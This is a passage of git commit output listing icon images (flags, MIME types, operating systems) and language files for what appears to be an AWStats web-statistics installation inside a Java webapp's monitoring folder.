src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ky.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/kz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/la.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/li.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ls.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/lv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ly.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ma.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/md.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/me.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mil.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ml.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mo.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mq.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ms.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/museum.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/my.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/mz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/na.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/name.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nato.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ne.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/net.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ng.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ni.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/no.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/np.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/nz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/om.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/org.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pa.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pe.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ph.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pro.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ps.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/pt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/py.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/qa.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/re.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ro.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/rs.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ru.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/rw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sa.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/se.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/si.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/st.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/su.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sy.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/sz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/td.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/th.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/to.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ua.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ug.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/um.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/unknown.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/us.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uy.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uz.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/va.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ve.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vi.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vn.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/wf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/wlk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ws.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ye.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/yt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/yu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/za.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ze.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/zm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/zw.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ai.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/archive.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/audio.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/crystal.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/css.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/csv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/doc.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/document.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/dotnet.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/encrypt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/flash.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/glasses.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/html.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/image.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/jnlp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/jscript.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/library.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/lit.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/mdb.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/notavailable.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ooffice.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/other.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/page.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/pdf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/php.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/phshop.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/pl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ppt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/quicktime.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/rar.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/readme.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/real.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/rss.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/runtime.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/script.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/svg.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/text.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ttf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/unknown.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/video.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/wmv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/xls.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/xsl.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/aix.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/amigaos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/apple.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/atari.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/beos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/blackberry.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsddflybsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdfreebsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdi.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdkfreebsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdnetbsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/bsdopenbsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/commodore.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/cpm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/debian.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/digital.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/dos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/dreamcast.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/freebsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/gnu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/hpux.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/ibm.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/imode.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/inferno.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/ios.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/iphone.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/irix.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/j2me.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/java.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/kfreebsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linux.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxandroid.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxasplinux.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxcentos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxdebian.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxfedora.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxgentoo.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxmandr.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxpclinuxos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxredhat.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxsuse.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxubuntu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxvine.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxzenwalk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/mac.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macintosh.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx4.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx5.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx6.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx7.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx8.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx9.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/netbsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/netware.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/next.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/openbsd.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/os2.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/osf.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/palmos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/psp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/qnx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/riscos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/sco.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/sunos.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/syllable.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/symbian.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/unix.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/unknown.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/vms.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/webtv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/wii.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win16.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2000.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2003.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2008.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win7.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win95.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win98.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/wince.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winlong.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winme.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winnt.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winunknown.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winvista.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winxbox.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/winxp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo1.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo5.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/awstats_logo6.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/backleft.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/button.gif create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/he.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hh.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/ht.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/hx.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu1.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu2.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu3.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu4.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu5.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu6.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu7.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/menu8.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/page.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vh.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vk.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vp.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vu.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/other/vv.png create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-al.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ar.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ba.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-be.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bg.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-br.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-bzg.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ca.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cn.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cy.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-cz.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-de.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-dk.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-en.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-es.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-et.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-eu.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fi.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-fr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-gr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-he.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-hu.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-id.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-is.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-it.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-jp.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ko.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lt.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-lv.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-mk.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nb.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-nn.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pl.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-pt.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ro.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ru.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-se.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-si.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sk.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-sr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-th.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tr.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-tw.txt create mode 100644 src/main/webapp/monitoramento/wwwroot/cgi-bin/lang/awstats-ua.txt create mode 100644 